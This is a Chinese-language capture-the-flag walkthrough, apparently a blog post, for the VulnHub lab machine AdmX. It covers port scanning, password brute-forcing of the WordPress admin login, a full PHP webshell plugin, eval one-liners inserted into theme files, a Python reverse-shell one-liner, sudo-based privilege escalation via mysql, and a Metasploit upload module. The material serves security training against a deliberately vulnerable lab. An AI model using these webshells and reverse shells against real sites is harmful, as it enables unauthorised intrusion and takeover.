vulnhub靶场-AdmX

1、靶机信息

靶机名称:AdmX

靶机难度:中等

虚拟机环境:此靶机推荐使用Virtualbox搭建

目标:取得 2 个 flag + root 权限

靶机地址:https://download.vulnhub.com/admx/AdmX_new.7z

kali服务器IP

192.168.2.172

靶机IP

192.168.2.171

2、主机发现

2.1 使用nmap进行主机发现,192.168.2.171就是我们的目标主机

nmap -sn 192.168.2.0/24

2.2 端口信息收集,目标靶机只开放了80端口

nmap -p- 192.168.2.171

2.3 对80端口进行服务版本扫描,可以看到是开放了Web服务

nmap -sV -p 80 192.168.2.171

3、Web信息收集

3.1 对Web页面进行查看,可以看到是一个apache的默认页面

3.2 按照常规步骤,进行路径发现,在爆破出来的路径中,可以看到有非常多的路径都是在wordpress这个目录下发现的,我们先对这个目录进行一个查看

feroxbuster --url http://192.168.2.171 -w /usr/share/dirb/wordlists/common.txt

3.3 访问http://192.168.2.171/wordpress,发现页面显示不正常

3.4 打开F12查看请求,发现请求失败的URL都指向了一个192.168.159.145的站点

3.5 为了让页面正常展示,我们使用burp的匹配和替换功能(Match And Replace),并将截断功能放开,重新访问http://192.168.2.171/wordpress页面即可

3.6 当我们在此页面进行各种尝试后,发现无可利用漏洞,重新看feroxbuster爆破出来的路径,发现一个后台登陆的站点http://192.168.2.171/wordpress/wp-admin/admin.php

3.7 通过尝试,发现对于系统不存在的用户名,会报错展示,基于此缺陷,我们发现站点存在admin账户

3.8 使用burp进行口令爆破,密码为adam14

3.9 使用admin/adam14成功登陆

4、上传webshell

4.1 在WordPress中常用的三种方式上传webshell,一种是通过Media-Add NEW接口,直接上传php的webshell即可,新版本中已经无法再使用这个方法上传。

4.2 第二种方法是通过appearance-Theme Editor,对php页面源码进行编辑,将一句话木马插入到主题中,在这里我们使用404主题文件进行插入,如果上传成功,可以直接访问404.php,拿到shell,结果是我们在点击 update file后,系统提示我们更改失败。

eval($_POST['ant']);

4.3 第三种方法是使用plugins功能,安装一个我们编写的webshell 插件。在这里我新建了一个webshell.php的文件,并且压缩成zip格式,上传至WordPress的plugins处进行安装,并点击activa plugin进行激活插件。

<?php
/**
 * Plugin Name: superwebshll
 * Plugin URI: https://webshell.com/ 
 * Description: This is webshell,thank u
 * Version: 1.0
 * Author: Automattic
 * Author URI: https://automattic.com/wordpress-plugins/
 * License: GPLv2 or later
 * Text Domain: akismet
 */
if(isset($_GET['cmd']))
 {  
        system($_GET['cmd']);
 }
?>

4.4 上传成功后,可以在plugins处看到

4.5 使用WordPress默认路径访问webshell,在这里我们可以看到命令被成功执行

http://192.168.2.171/wordpress/wp-content/plugins/webshell.php?cmd=id

5、反弹shell

5.1 首先在kali端监听端口

nc -nvlp 9999

5.2 查看目标服务器上是否存在python,发现是存在python3

webshell.php?cmd=which%20python3

5.3 使用python3进行反弹shell,反弹成功

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.172",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

6、交互式shell升级

6.1 通过反弹shell获得的shell功能有限,需要升级为Full TTY shell,kali默认shell为zsh,需要把zsh切换为Bash,查看目前shell类型为zsh

echo $SHELL

6.2 切换zsh为Bash

chsh -s /bin/bash

6.3 重新获取shell,重复第五部分,拿到shell后,输入ctrl+z 将获取到的shell放到后台

6.4 依次输入以下命令,获取交互式shell

stty raw -echo 
fg
export SHELL=/bin/bash 
export TERM=screen 
stty rows 38 columns 116 
reset

7、蚁剑上线

7.1 在appearance的index.php中插入一句话木马

路径为:vim /var/www/html/wordpress/wp-content/themes/twentytwentyone/index.php

eval($_POST['ant']);

7.2 在蚁剑中添加URL地址:http://192.168.2.171/wordpress/wp-content/themes/twentytwentyone/index.php,连接密码为ant,成功连接

8、提权

8.1 进入/home 目录下,发现还存在一个wpadmin的用户

8.2 在其用户目录下,存放一个local.txt的文档,并且只有wpadmin用户本身才具备读权限

8.3 搜集其他信息,目标是提权至wpadmin用户,查找WordPress的config文件,通过配置文件可以查看连接数据库的账密

DB_NAME:wordpress

DB_USER:admin

DB_PASSWORD:Wp_Admin#123

8.4 使用密码Wp_Admin#123尝试登陆至wpadmin用户,发现失败

su wpadmin

8.5 使用密码Wp_Admin#123尝试登陆mysql数据库,发现也失败了

mysql -u admin -p Wp_Admin#123 -D wordpress

8.6 尝试使用之前burp爆破出的WordPress后台密码进行登录,发现密码正确

8.7 读取前面的local.txt文件,拿到第一个flag

文件内容为:153495edec1b606c24947b1335998bd9

8.8 使用sudo -l 命令发现不需要密码既可以进入mysql数据库

8.9 使用adam14进入mysql数据库

sudo /usr/bin/mysql -u root -D wordpress -p

8.10 获取第二个flag

附:其他技巧-MSF获取shell

1. 除了上述的使用plugins功能获取shell,在这里再介绍另一种方式,使用MSF获取WordPress的shell方法。首先使用MSF搜索关键字wordpress admin

2. 在这里我们使用第二个模块,查看其参数

msf6 > use 2

msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options

3. 设置MSF必要参数

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD adam14
PASSWORD => adam14
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.2.171
RHOSTS => 192.168.2.171
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RPORT 80
RPORT => 80
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

4. 输入shell命令,就可以执行相关操作,但发现使用MSF获取到的shell很多命令不能够正常执行,所以还是建议使用上述的通过plugins功能获取shell。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值